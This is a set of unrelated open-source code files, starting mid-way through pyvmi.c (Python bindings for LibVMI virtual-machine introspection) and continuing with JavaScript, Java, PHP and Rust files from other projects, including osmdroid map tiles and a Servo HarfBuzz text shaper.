"DS_LIMIT") == 0 || strcmp(reg_name, "ds_limit") == 0) { reg = DS_LIMIT; } else if (strcmp(reg_name, "ES_LIMIT") == 0 || strcmp(reg_name, "es_limit") == 0) { reg = ES_LIMIT; } else if (strcmp(reg_name, "FS_LIMIT") == 0 || strcmp(reg_name, "fs_limit") == 0) { reg = FS_LIMIT; } else if (strcmp(reg_name, "GS_LIMIT") == 0 || strcmp(reg_name, "gs_limit") == 0) { reg = GS_LIMIT; } else if (strcmp(reg_name, "SS_LIMIT") == 0 || strcmp(reg_name, "ss_limit") == 0) { reg = SS_LIMIT; } else if (strcmp(reg_name, "TR_LIMIT") == 0 || strcmp(reg_name, "tr_limit") == 0) { reg = TR_LIMIT; } else if (strcmp(reg_name, "LDTR_LIMIT") == 0 || strcmp(reg_name, "ldtr_limit") == 0) { reg = LDTR_LIMIT; } else if (strcmp(reg_name, "IDTR_LIMIT") == 0 || strcmp(reg_name, "idtr_limit") == 0) { reg = IDTR_LIMIT; } else if (strcmp(reg_name, "GDTR_LIMIT") == 0 || strcmp(reg_name, "gdtr_limit") == 0) { reg = GDTR_LIMIT; } else if (strcmp(reg_name, "CS_BASE") == 0 || strcmp(reg_name, "cs_base") == 0) { reg = CS_BASE; } else if (strcmp(reg_name, "DS_BASE") == 0 || strcmp(reg_name, "ds_base") == 0) { reg = DS_BASE; } else if (strcmp(reg_name, "ES_BASE") == 0 || strcmp(reg_name, "es_base") == 0) { reg = ES_BASE; } else if (strcmp(reg_name, "FS_BASE") == 0 || strcmp(reg_name, "fs_base") == 0) { reg = FS_BASE; } else if (strcmp(reg_name, "GS_BASE") == 0 || strcmp(reg_name, "gs_base") == 0) { reg = GS_BASE; } else if (strcmp(reg_name, "SS_BASE") == 0 || strcmp(reg_name, "ss_base") == 0) { reg = SS_BASE; } else if (strcmp(reg_name, "TR_BASE") == 0 || strcmp(reg_name, "tr_base") == 0) { reg = TR_BASE; } else if (strcmp(reg_name, "LDTR_BASE") == 0 || strcmp(reg_name, "ldtr_base") == 0) { reg = LDTR_BASE; } else if (strcmp(reg_name, "IDTR_BASE") == 0 || strcmp(reg_name, "idtr_base") == 0) { reg = IDTR_BASE; } else if (strcmp(reg_name, "GDTR_BASE") == 0 || strcmp(reg_name, "gdtr_base") == 0) { reg = GDTR_BASE; } else if (strcmp(reg_name, "CS_ARBYTES") == 0 || strcmp(reg_name, "cs_arbytes") == 0) { reg = CS_ARBYTES; } else if (strcmp(reg_name, "DS_ARBYTES") == 0 || strcmp(reg_name, "ds_arbytes") == 0) { reg = DS_ARBYTES; } else if (strcmp(reg_name, "ES_ARBYTES") == 0 || strcmp(reg_name, "es_arbytes") == 0) { reg = ES_ARBYTES; } else if (strcmp(reg_name, "FS_ARBYTES") == 0 || strcmp(reg_name, "fs_arbytes") == 0) { reg = FS_ARBYTES; } else if (strcmp(reg_name, "GS_ARBYTES") == 0 || strcmp(reg_name, "gs_arbytes") == 0) { reg = GS_ARBYTES; } else if (strcmp(reg_name, "SS_ARBYTES") == 0 || strcmp(reg_name, "ss_arbytes") == 0) { reg = SS_ARBYTES; } else if (strcmp(reg_name, "TR_ARBYTES") == 0 || strcmp(reg_name, "tr_arbytes") == 0) { reg = TR_ARBYTES; } else if (strcmp(reg_name, "LDTR_ARBYTES") == 0 || strcmp(reg_name, "ldtr_arbytes") == 0) { reg = LDTR_ARBYTES; } else if (strcmp(reg_name, "SYSENTER_CS") == 0 || strcmp(reg_name, "sysenter_cs") == 0) { reg = SYSENTER_CS; } else if (strcmp(reg_name, "SYSENTER_ESP") == 0 || strcmp(reg_name, "sysenter_esp") == 0) { reg = SYSENTER_ESP; } else if (strcmp(reg_name, "SYSENTER_EIP") == 0 || strcmp(reg_name, "sysenter_eip") == 0) { reg = SYSENTER_EIP; } else if (strcmp(reg_name, "SHADOW_GS") == 0 || strcmp(reg_name, "shadow_gs") == 0) { reg = SHADOW_GS; } else if (strcmp(reg_name, "MSR_FLAGS") == 0 || strcmp(reg_name, "msr_flags") == 0) { reg = MSR_FLAGS; } else if (strcmp(reg_name, "MSR_LSTAR") == 0 || strcmp(reg_name, "msr_lstar") == 0) { reg = MSR_LSTAR; } else if (strcmp(reg_name, "MSR_CSTAR") == 0 || strcmp(reg_name, "msr_cstar") == 0) { reg = MSR_CSTAR; } else if (strcmp(reg_name, "MSR_SYSCALL_MASK") == 0 || strcmp(reg_name, "msr_syscall_mask") == 0) { reg = MSR_SYSCALL_MASK; } else if (strcmp(reg_name, "MSR_EFER") == 0 || strcmp(reg_name, "msr_efer") == 0) { reg = MSR_EFER; } else if (strcmp(reg_name, "MSR_TSC_AUX") == 0 || strcmp(reg_name, "msr_tsc_aux") == 0) { reg = MSR_TSC_AUX; } else if (strcmp(reg_name, "TSC") == 0 || strcmp(reg_name, "tsc") == 0) { reg = TSC; } else { PyErr_SetString(PyExc_ValueError, "Bad register name"); return NULL; } if (VMI_FAILURE == vmi_get_vcpureg(vmi(self), &value, reg, vcpu)) { PyErr_SetString(PyExc_ValueError, "Unable to get register value"); return NULL; } return Py_BuildValue("K", value); } static PyObject * pyvmi_get_name( PyObject * self, PyObject * args) { char *name = NULL; if (!PyArg_ParseTuple(args, "")) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } name = vmi_get_name(vmi(self)); //TODO how do we free the memory for name ??? return Py_BuildValue("s", name); } static PyObject * pyvmi_get_vmid( PyObject * self, PyObject * args) { unsigned long vmid = 0; if (!PyArg_ParseTuple(args, "")) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmid = vmi_get_vmid(vmi(self)); return Py_BuildValue("I", vmid); } static PyObject * pyvmi_get_access_mode( PyObject * self, PyObject * args) { uint32_t mode = 0; if (!PyArg_ParseTuple(args, "")) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } mode = vmi_get_access_mode(vmi(self)); PyObject *rtnval = NULL; if (VMI_AUTO == mode) { rtnval = Py_BuildValue("s", "auto"); } else if (VMI_XEN == mode) { rtnval = Py_BuildValue("s", "xen"); } else if (VMI_KVM == mode) { rtnval = Py_BuildValue("s", "kvm"); } else if (VMI_FILE == mode) { rtnval = Py_BuildValue("s", "file"); } else { rtnval = Py_BuildValue("s", "unknown"); } return rtnval; } // Just implementing get_winver_str and not get_winver as I think this // makes the most sense for python static PyObject * pyvmi_get_winver_str( PyObject * self, PyObject * args) { const char *version = NULL; if (!PyArg_ParseTuple(args, "")) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } version = vmi_get_winver_str(vmi(self)); PyObject *rtnval = Py_BuildValue("s", version); return rtnval; } static PyObject * pyvmi_get_memsize( PyObject * self, PyObject * args) { unsigned long size = 0; if (!PyArg_ParseTuple(args, "")) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } size = vmi_get_memsize(vmi(self)); return Py_BuildValue("I", size); } static PyObject * pyvmi_get_offset( PyObject * self, PyObject * args) { char *name; if (!PyArg_ParseTuple(args, "s", &name)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } unsigned long offset = vmi_get_offset(vmi(self), name); return Py_BuildValue("I", offset); } static PyObject * pyvmi_get_page_mode( PyObject * self, PyObject * args) { if (!PyArg_ParseTuple(args, "")) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } page_mode_t mode = vmi_get_page_mode(vmi(self)); PyObject *rtnval = NULL; if (VMI_PM_LEGACY == mode) { rtnval = Py_BuildValue("s", "legacy"); } else if (VMI_PM_PAE == mode) { rtnval = Py_BuildValue("s", "pae"); } else if (VMI_PM_IA32E == mode) { rtnval = Py_BuildValue("s", "ia32e"); } else { rtnval = Py_BuildValue("s", "unknown"); } return rtnval; } static PyObject * pyvmi_get_ostype( PyObject * self, PyObject * args) { if (!PyArg_ParseTuple(args, "")) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } os_t type = vmi_get_ostype(vmi(self)); PyObject *rtnval = NULL; if (VMI_OS_WINDOWS == type) { rtnval = Py_BuildValue("s", "windows"); } else if (VMI_OS_LINUX == type) { rtnval = Py_BuildValue("s", "linux"); } else { rtnval = Py_BuildValue("s", "unknown"); } return rtnval; } static PyObject * pyvmi_print_hex( PyObject * self, PyObject * args) { unsigned char *data; int length; if (!PyArg_ParseTuple(args, "s#", &data, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmi_print_hex(data, (uint32_t) length); return Py_BuildValue(""); // return None } static PyObject * pyvmi_print_hex_pa( PyObject * self, PyObject * args) { addr_t paddr; uint32_t length; if (!PyArg_ParseTuple(args, "KI", &paddr, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmi_print_hex_pa(vmi(self), paddr, length); return Py_BuildValue(""); // return None } static PyObject * pyvmi_print_hex_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint32_t length; if (!PyArg_ParseTuple(args, "KiI", &vaddr, &pid, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmi_print_hex_va(vmi(self), vaddr, pid, length); return Py_BuildValue(""); // return None } static PyObject * pyvmi_print_hex_ksym( PyObject * self, PyObject * args) { char *sym; uint32_t length; if (!PyArg_ParseTuple(args, "sI", &sym, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmi_print_hex_ksym(vmi(self), sym, length); return Py_BuildValue(""); // return None } static PyObject * pyvmi_pause_vm( PyObject * self, PyObject * args) { if (VMI_FAILURE == vmi_pause_vm(vmi(self))) { PyErr_SetString(PyExc_OSError, "Failed to pause VM"); return NULL; } return Py_BuildValue(""); // return None } static PyObject * pyvmi_resume_vm( PyObject * self, PyObject * args) { if (VMI_FAILURE == vmi_resume_vm(vmi(self))) { PyErr_SetString(PyExc_OSError, "Failed to resume VM"); return NULL; } return Py_BuildValue(""); // return None } static PyObject * pyvmi_v2pcache_flush( PyObject * self, PyObject * args) { vmi_v2pcache_flush(vmi(self)); return Py_BuildValue(""); // return None } static PyObject * pyvmi_v2pcache_add( PyObject * self, PyObject * args) { addr_t va; addr_t dtb; addr_t pa; if (!PyArg_ParseTuple(args, "KKK", &va, &dtb, &pa)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmi_v2pcache_add(vmi(self), va, dtb, pa); return Py_BuildValue(""); // return None } static PyObject * pyvmi_symcache_flush( PyObject * self, PyObject * args) { vmi_symcache_flush(vmi(self)); return Py_BuildValue(""); // return None } static PyObject * pyvmi_symcache_add( PyObject * self, PyObject * args) { char *sym; addr_t va; addr_t base_addr; uint32_t pid; if (!PyArg_ParseTuple(args, "KKsK", &base_addr, &pid, &sym, &va)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmi_symcache_add(vmi(self), base_addr, pid, sym, va); return Py_BuildValue(""); // return None } static PyObject * pyvmi_pidcache_flush( PyObject * self, PyObject * args) { vmi_pidcache_flush(vmi(self)); return Py_BuildValue(""); // return None } static PyObject * pyvmi_pidcache_add( PyObject * self, PyObject * args) { int pid; addr_t dtb; if (!PyArg_ParseTuple(args, "iK", &pid, &dtb)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } vmi_pidcache_add(vmi(self), pid, dtb); return Py_BuildValue(""); // return None } //------------------------------------------------------------------- // Python interface // pyvmi_instance method table static PyMethodDef pyvmi_instance_methods[] = { {"init_complete", pyvmi_init_complete, METH_VARARGS, "Complete initialization when init was only partial"}, {"translate_kv2p", pyvmi_translate_kv2p, METH_VARARGS, "Translate kernel virtual address to physical address"}, {"translate_uv2p", pyvmi_translate_uv2p, METH_VARARGS, "Translate user virtual address to physical address"}, {"translate_ksym2v", pyvmi_translate_ksym2v, METH_VARARGS, "Translate kernel symbol to virtual address"}, {"pid_to_dtb", pyvmi_pid_to_dtb, METH_VARARGS, "Get directory table base value from process id"}, {"read_pa", pyvmi_read_pa, METH_VARARGS, "Read physical memory"}, {"zread_pa", pyvmi_zread_pa, METH_VARARGS, "Read physical memory, fill memory holes with zeroes"}, {"read_va", pyvmi_read_va, METH_VARARGS, "Read virtual memory"}, {"read_ksym", pyvmi_read_ksym, METH_VARARGS, "Read memory using kernel symbol"}, {"read_8_pa", pyvmi_read_8_pa, METH_VARARGS, "Read 1 byte using a physical address"}, {"read_16_pa", pyvmi_read_16_pa, METH_VARARGS, "Read 2 bytes using a physical address"}, {"read_32_pa", pyvmi_read_32_pa, METH_VARARGS, "Read 4 bytes using a physical address"}, {"read_64_pa", pyvmi_read_64_pa, METH_VARARGS, "Read 8 bytes using a physical address"}, {"read_addr_pa", pyvmi_read_addr_pa, METH_VARARGS, "Read address using a physical address"}, {"read_str_pa", pyvmi_read_str_pa, METH_VARARGS, "Read string using a physical address"}, {"read_8_va", pyvmi_read_8_va, METH_VARARGS, "Read 1 byte using a virtual address"}, {"read_16_va", pyvmi_read_16_va, METH_VARARGS, "Read 2 bytes using a virtual address"}, {"read_32_va", pyvmi_read_32_va, METH_VARARGS, "Read 4 bytes using a virtual address"}, {"read_64_va", pyvmi_read_64_va, METH_VARARGS, "Read 8 bytes using a virtual address"}, {"read_addr_va", pyvmi_read_addr_va, METH_VARARGS, "Read address using a virtual address"}, {"read_str_va", pyvmi_read_str_va, METH_VARARGS, "Read string using a virtual address"}, {"read_8_ksym", pyvmi_read_8_ksym, METH_VARARGS, "Read 1 byte using a kernel symbol"}, {"read_16_ksym", pyvmi_read_16_ksym, METH_VARARGS, "Read 2 bytes using a kernel symbol"}, {"read_32_ksym", pyvmi_read_32_ksym, METH_VARARGS, "Read 4 bytes using a kernel symbol"}, {"read_64_ksym", pyvmi_read_64_ksym, METH_VARARGS, "Read 8 bytes using a kernel symbol"}, {"read_addr_ksym", pyvmi_read_addr_ksym, METH_VARARGS, "Read address using a kernel symbol"}, {"read_str_ksym", pyvmi_read_str_ksym, METH_VARARGS, "Read string using a kernel symbol"}, {"write_pa", pyvmi_write_pa, METH_VARARGS, "Write physical memory"}, {"write_va", pyvmi_write_va, METH_VARARGS, "Write virtual memory"}, {"write_ksym", pyvmi_write_ksym, METH_VARARGS, "Write memory using kernel symbol"}, {"write_8_pa", pyvmi_write_8_pa, METH_VARARGS, "Write 1 byte using a physical address"}, {"write_16_pa", pyvmi_write_16_pa, METH_VARARGS, "Write 2 bytes using a physical address"}, {"write_32_pa", pyvmi_write_32_pa, METH_VARARGS, "Write 4 bytes using a physical address"}, {"write_64_pa", pyvmi_write_64_pa, METH_VARARGS, "Write 8 bytes using a physical address"}, {"write_8_va", pyvmi_write_8_va, METH_VARARGS, "Write 1 byte using a virtual address"}, {"write_16_va", pyvmi_write_16_va, METH_VARARGS, "Write 2 bytes using a virtual address"}, {"write_32_va", pyvmi_write_32_va, METH_VARARGS, "Write 4 bytes using a virtual address"}, {"write_64_va", pyvmi_write_64_va, METH_VARARGS, "Write 8 bytes using a virtual address"}, {"write_8_ksym", pyvmi_write_8_ksym, METH_VARARGS, "Write 1 byte using a kernel symbol"}, {"write_16_ksym", pyvmi_write_16_ksym, METH_VARARGS, "Write 2 bytes using a kernel symbol"}, {"write_32_ksym", pyvmi_write_32_ksym, METH_VARARGS, "Write 4 bytes using a kernel symbol"}, {"write_64_ksym", pyvmi_write_64_ksym, METH_VARARGS, "Write 8 bytes using a kernel symbol"}, {"get_vcpureg", pyvmi_get_vcpureg, METH_VARARGS, "Get the current value of a vcpu register"}, {"get_name", pyvmi_get_name, METH_VARARGS, "Get the name of the VM, or the filename"}, {"get_vmid", pyvmi_get_vmid, METH_VARARGS, "Get the VM identifier"}, {"get_access_mode", pyvmi_get_access_mode, METH_VARARGS, "Get the resource being used to access memory (e.g., xen, kvm, or file)"}, {"get_winver_str", pyvmi_get_winver_str, METH_VARARGS, "Get a string representation of the windows version running in the VM"}, {"get_memsize", pyvmi_get_memsize, METH_VARARGS, "Get the memory size (in bytes) of this memory"}, {"get_offset", pyvmi_get_offset, METH_VARARGS, "Get an offset value by name from the config file"}, {"get_page_mode", pyvmi_get_page_mode, METH_VARARGS, "Get the page mode used in the target system"}, {"get_ostype", pyvmi_get_ostype, METH_VARARGS, "Get the OS type of the target system"}, {"print_hex", pyvmi_print_hex, METH_VARARGS, "Prints raw binary data to the screen in a useful format"}, {"print_hex_pa", pyvmi_print_hex_pa, METH_VARARGS, "Prints raw binary data to the screen in a useful format"}, {"print_hex_pa", pyvmi_print_hex_va, METH_VARARGS, "Prints raw binary data to the screen in a useful format"}, {"print_hex_pa", pyvmi_print_hex_ksym, METH_VARARGS, "Prints raw binary data to the screen in a useful format"}, {"pause_vm", pyvmi_pause_vm, METH_VARARGS, "Pauses the VM to allow for consistent analysis"}, {"resume_vm", pyvmi_resume_vm, METH_VARARGS, "Resumes the VM, called after pause_vm"}, {"v2pcache_flush", pyvmi_v2pcache_flush, METH_VARARGS, "Remove all entries from the virtual to physical cache"}, {"v2pcache_add", pyvmi_v2pcache_add, METH_VARARGS, "Add an entry to the virtual to physical cache"}, {"symcache_flush", pyvmi_symcache_flush, METH_VARARGS, "Remove all entries from the symbol to virtual cache"}, {"symcache_add", pyvmi_symcache_add, METH_VARARGS, "Add an entry to the symbol to virtual cache"}, {"pidcache_flush", pyvmi_pidcache_flush, METH_VARARGS, "Remove all entries from the pid to dtb cache"}, {"pidcache_add", pyvmi_pidcache_add, METH_VARARGS, "Add an entry to the pid to dtb cache"}, {NULL, NULL, 0, NULL} /* Sentinel */ }; // python callbacks static PyObject * pyvmi_instance_getattr( PyObject * self, char *attrname) { return Py_FindMethod(pyvmi_instance_methods, self, attrname); } static PyObject * pyvmi_instance_repr( PyObject * self) { char buf[100]; snprintf(buf, 100, "<pyvmi_instance for %s>", desc(self)); return PyString_FromString(buf); } // Type object itself static PyTypeObject pyvmi_instance_Type = { PyObject_HEAD_INIT(&PyType_Type) 0, "pyvmi_instance", /* char *tp_name; */ sizeof(pyvmi_instance), /* int tp_basicsize; */ 0, /* int tp_itemsize; not used much */ (destructor) pyvmi_instance_dealloc, /* destructor tp_dealloc; */ 0, /* printfunc tp_print; */ (getattrfunc) pyvmi_instance_getattr, /* getattrfunc tp_getattr; __getattr__ */ 0, /* setattrfunc tp_setattr; __setattr__ */ 0, /* cmpfunc tp_compare; __cmp__ */ (reprfunc) pyvmi_instance_repr, /* reprfunc tp_repr; __repr__ */ 0, /* PyNumberMethods *tp_as_number; */ 0, /* PySequenceMethods *tp_as_sequence; */ 0, /* PyMappingMethods *tp_as_mapping; */ 0, /* hashfunc tp_hash; __hash__ */ 0, /* ternaryfunc tp_call; __call__ */ 0, /* reprfunc tp_str; __str__ */ }; // module method table static PyMethodDef PyVmiMethods[] = { {"init", pyvmi_init, METH_VARARGS, "Create a new PyVmi instance using the name"}, {NULL, NULL, 0, NULL} }; PyMODINIT_FUNC initpyvmi( void) { (void) Py_InitModule("pyvmi", PyVmiMethods); } int main( int argc, char *argv[]) { /* Pass argv[0] to the Python interpreter */ Py_SetProgramName(argv[0]); /* Initialize the Python interpreter. Required. */ Py_Initialize(); /* Add a static module */ initpyvmi(); return 0; }
mzguanglin/libvmi-cmu
tools/pyvmi/pyvmi.c
C
gpl-3.0
58,492
/* global salesReporterFactory, dataLoaderFactory, dataSourceAccessFactory, pointOfSaleDataUtilsFactoryBuilder, reportDataBuilderFactory */ // eslint-disable-next-line function getSalesReporter() { const dataSourceAccess = dataSourceAccessFactory(); const dataLoader = dataLoaderFactory(dataSourceAccess); const pointOfSaleDataUtilsFactory = pointOfSaleDataUtilsFactoryBuilder(); const reportDataBuilder = reportDataBuilderFactory(); return salesReporterFactory( dataLoader, pointOfSaleDataUtilsFactory, reportDataBuilder ); }
cmstead/jsLearnerForms
jsforms-source/4_test-dummy-form/index.js
JavaScript
mpl-2.0
599
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ package etomica.virial; import etomica.box.Box; import etomica.math.SpecialFunctions; import etomica.molecule.IMoleculeList; import etomica.potential.IPotential2; /** * Mayer function class that returns temperature expansion bond of the desired * order. * * @author Andrew Schultz */ public class MayerSphericalPTAtt implements MayerFunction { /** * Constructor takes reference potential, attractive component and order in temperature. */ public MayerSphericalPTAtt(IPotential2 potentialRef, IPotential2 potentialFull, int order) { this.potentialRef = potentialRef; this.potentialFull = potentialFull; this.order = order; this.factOrder = SpecialFunctions.factorial(order); } public double f(IMoleculeList pair, double r2, double beta) { double uRef = potentialRef.u(r2); if (Double.isInfinite(uRef)) { return 0; } // double dfdkT = Math.exp(-beta*uRef)*Math.pow(-potentialAtt.u(r2)*beta, order)/SpecialFunctions.factorial(order); double dfdkT = Math.exp(-beta*uRef)/factOrder; if (order > 0) { double betaUA = -(potentialFull.u(r2) - uRef) * beta; switch (order) { case 1: dfdkT *= betaUA; break; case 2: dfdkT *= betaUA * betaUA; break; case 3: dfdkT *= betaUA * betaUA * betaUA; break; case 4: double betaUA2 = betaUA*betaUA; dfdkT *= betaUA2*betaUA2; break; case 5: betaUA2 = betaUA*betaUA; dfdkT *= betaUA2*betaUA2*betaUA; break; case 6: double betaUA3 = betaUA*betaUA*betaUA; dfdkT *= betaUA3*betaUA3; break; case 7: betaUA3 = betaUA*betaUA*betaUA; dfdkT *= betaUA3*betaUA3*betaUA; break; case 8: betaUA2 = betaUA*betaUA; double betaUA4 = betaUA2*betaUA2; dfdkT *= betaUA4*betaUA4; break; case 9: betaUA3 = betaUA*betaUA*betaUA; dfdkT *= betaUA3*betaUA3*betaUA3; break; default: throw new RuntimeException("oops, please implement order "+order); } } if (Double.isNaN(dfdkT)) { throw new RuntimeException ("dfdT is NaN"); } return dfdkT; } public void setBox(Box newBox) { } protected final IPotential2 potentialRef, potentialFull; protected final int order; protected final long factOrder; }
etomica/etomica
etomica-apps/src/main/java/etomica/virial/MayerSphericalPTAtt.java
Java
mpl-2.0
2,839
<?php namespace ide\autocomplete; /** * Class PropertyAutoCompleteItem * @package ide\autocomplete */ class PropertyAutoCompleteItem extends AutoCompleteItem { public function getDefaultIcon() { return 'icons/greenSquare16.png'; } }
jphp-compiler/develnext
develnext/src/ide/autocomplete/PropertyAutoCompleteItem.php
PHP
mpl-2.0
256
package org.osmdroid.tileprovider; import org.osmdroid.tileprovider.modules.INetworkAvailablityCheck; import org.osmdroid.tileprovider.modules.MapTileDownloader; import org.osmdroid.tileprovider.modules.MapTileFileArchiveProvider; import org.osmdroid.tileprovider.modules.MapTileFilesystemProvider; import org.osmdroid.tileprovider.modules.NetworkAvailabliltyCheck; import org.osmdroid.tileprovider.modules.TileWriter; import org.osmdroid.tileprovider.tilesource.ITileSource; import org.osmdroid.tileprovider.tilesource.TileSourceFactory; import org.osmdroid.tileprovider.util.SimpleRegisterReceiver; import android.content.Context; /** * This top-level tile provider implements a basic tile request chain which includes a * {@link MapTileFilesystemProvider} (a file-system cache), a {@link MapTileFileArchiveProvider} * (archive provider), and a {@link MapTileDownloader} (downloads map tiles via tile source). * * @author Marc Kurtz * */ public class MapTileProviderBasic extends MapTileProviderArray implements IMapTileProviderCallback { // private static final Logger logger = LoggerFactory.getLogger(MapTileProviderBasic.class); /** * Creates a {@link MapTileProviderBasic}. */ public MapTileProviderBasic(final Context pContext) { this(pContext, TileSourceFactory.DEFAULT_TILE_SOURCE); } /** * Creates a {@link MapTileProviderBasic}. */ public MapTileProviderBasic(final Context pContext, final ITileSource pTileSource) { this(new SimpleRegisterReceiver(pContext), new NetworkAvailabliltyCheck(pContext), pTileSource); } /** * Creates a {@link MapTileProviderBasic}. */ public MapTileProviderBasic(final IRegisterReceiver pRegisterReceiver, final INetworkAvailablityCheck aNetworkAvailablityCheck, final ITileSource pTileSource) { super(pTileSource, pRegisterReceiver); final TileWriter tileWriter = new TileWriter(); final MapTileFilesystemProvider fileSystemProvider = new MapTileFilesystemProvider( pRegisterReceiver, pTileSource); mTileProviderList.add(fileSystemProvider); final MapTileFileArchiveProvider archiveProvider = new MapTileFileArchiveProvider( pRegisterReceiver, pTileSource); mTileProviderList.add(archiveProvider); final MapTileDownloader downloaderProvider = new MapTileDownloader(pTileSource, tileWriter, aNetworkAvailablityCheck); mTileProviderList.add(downloaderProvider); } }
dimy93/sports-cubed-android
osmdroid-android/src/main/java/org/osmdroid/tileprovider/MapTileProviderBasic.java
Java
mpl-2.0
2,450
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ extern mod harfbuzz; use font::{Font, FontHandleMethods, FontTableMethods, FontTableTag}; use servo_util::geometry::Au; use platform::font::FontTable; use text::glyph::{GlyphStore, GlyphIndex, GlyphData}; use text::shaping::ShaperMethods; use servo_util::range::Range; use text::util::{float_to_fixed, fixed_to_float, fixed_to_rounded_int}; use std::cast::transmute; use std::char; use std::libc::{c_uint, c_int, c_void, c_char}; use std::ptr; use std::ptr::null; use std::uint; use std::util::ignore; use std::vec; use geom::Point2D; use harfbuzz::{hb_blob_create, hb_face_create_for_tables}; use harfbuzz::{hb_buffer_add_utf8}; use harfbuzz::{hb_buffer_get_glyph_positions}; use harfbuzz::{hb_buffer_set_direction}; use harfbuzz::{hb_buffer_destroy}; use harfbuzz::{hb_face_destroy}; use harfbuzz::{hb_font_create}; use harfbuzz::{hb_font_destroy, hb_buffer_create}; use harfbuzz::{hb_font_funcs_create}; use harfbuzz::{hb_font_funcs_destroy}; use harfbuzz::{hb_font_funcs_set_glyph_func}; use harfbuzz::{hb_font_funcs_set_glyph_h_advance_func}; use harfbuzz::{hb_font_set_funcs}; use harfbuzz::{hb_font_set_ppem}; use harfbuzz::{hb_font_set_scale}; use harfbuzz::{hb_shape, hb_buffer_get_glyph_infos}; use harfbuzz::{HB_MEMORY_MODE_READONLY, HB_DIRECTION_LTR}; use harfbuzz::{hb_blob_t}; use harfbuzz::{hb_bool_t}; use harfbuzz::{hb_face_t, hb_font_t}; use harfbuzz::{hb_font_funcs_t, hb_buffer_t, hb_codepoint_t}; use harfbuzz::{hb_glyph_info_t}; use harfbuzz::{hb_glyph_position_t}; use harfbuzz::{hb_position_t, hb_tag_t}; static NO_GLYPH: i32 = -1; static CONTINUATION_BYTE: i32 = -2; pub struct ShapedGlyphData { count: uint, glyph_infos: *hb_glyph_info_t, pos_infos: *hb_glyph_position_t, } pub struct ShapedGlyphEntry { cluster: uint, codepoint: GlyphIndex, advance: Au, offset: Option<Point2D<Au>>, } impl ShapedGlyphData { #[fixed_stack_segment] pub fn new(buffer: *hb_buffer_t) -> ShapedGlyphData { unsafe { let glyph_count = 0; let glyph_infos = hb_buffer_get_glyph_infos(buffer, &glyph_count); let glyph_count = glyph_count as uint; assert!(glyph_infos.is_not_null()); let pos_count = 0; let pos_infos = hb_buffer_get_glyph_positions(buffer, &pos_count); assert!(pos_infos.is_not_null()); assert!(glyph_count == pos_count as uint); ShapedGlyphData { count: glyph_count, glyph_infos: glyph_infos, pos_infos: pos_infos, } } } #[inline(always)] fn byte_offset_of_glyph(&self, i: uint) -> uint { assert!(i < self.count); unsafe { let glyph_info_i = ptr::offset(self.glyph_infos, i as int); (*glyph_info_i).cluster as uint } } pub fn len(&self) -> uint { self.count } /// Returns shaped glyph data for one glyph, and updates the y-position of the pen. pub fn get_entry_for_glyph(&self, i: uint, y_pos: &mut Au) -> ShapedGlyphEntry { assert!(i < self.count); unsafe { let glyph_info_i = ptr::offset(self.glyph_infos, i as int); let pos_info_i = ptr::offset(self.pos_infos, i as int); let x_offset = Shaper::fixed_to_float((*pos_info_i).x_offset); let y_offset = Shaper::fixed_to_float((*pos_info_i).y_offset); let x_advance = Shaper::fixed_to_float((*pos_info_i).x_advance); let y_advance = Shaper::fixed_to_float((*pos_info_i).y_advance); let x_offset = Au::from_frac_px(x_offset); let y_offset = Au::from_frac_px(y_offset); let x_advance = Au::from_frac_px(x_advance); let y_advance = Au::from_frac_px(y_advance); let offset = if x_offset == Au(0) && y_offset == Au(0) && y_advance == Au(0) { None } else { // adjust the pen.. if y_advance > Au(0) { *y_pos = *y_pos - y_advance; } Some(Point2D(x_offset, *y_pos - y_offset)) }; ShapedGlyphEntry { cluster: (*glyph_info_i).cluster as uint, codepoint: (*glyph_info_i).codepoint as GlyphIndex, advance: x_advance, offset: offset, } } } } pub struct Shaper { font: @mut Font, priv hb_face: *hb_face_t, priv hb_font: *hb_font_t, priv hb_funcs: *hb_font_funcs_t, } #[unsafe_destructor] impl Drop for Shaper { #[fixed_stack_segment] fn drop(&mut self) { unsafe { assert!(self.hb_face.is_not_null()); hb_face_destroy(self.hb_face); assert!(self.hb_font.is_not_null()); hb_font_destroy(self.hb_font); assert!(self.hb_funcs.is_not_null()); hb_font_funcs_destroy(self.hb_funcs); } } } impl Shaper { #[fixed_stack_segment] pub fn new(font: @mut Font) -> Shaper { unsafe { // Indirection for Rust Issue #6248, dynamic freeze scope artifically extended let font_ptr = { let borrowed_font= &mut *font; borrowed_font as *mut Font }; let hb_face: *hb_face_t = hb_face_create_for_tables(get_font_table_func, font_ptr as *c_void, None); let hb_font: *hb_font_t = hb_font_create(hb_face); // Set points-per-em. if zero, performs no hinting in that direction. let pt_size = font.style.pt_size; hb_font_set_ppem(hb_font, pt_size as c_uint, pt_size as c_uint); // Set scaling. Note that this takes 16.16 fixed point. hb_font_set_scale(hb_font, Shaper::float_to_fixed(pt_size) as c_int, Shaper::float_to_fixed(pt_size) as c_int); // configure static function callbacks. // NB. This funcs structure could be reused globally, as it never changes. let hb_funcs: *hb_font_funcs_t = hb_font_funcs_create(); 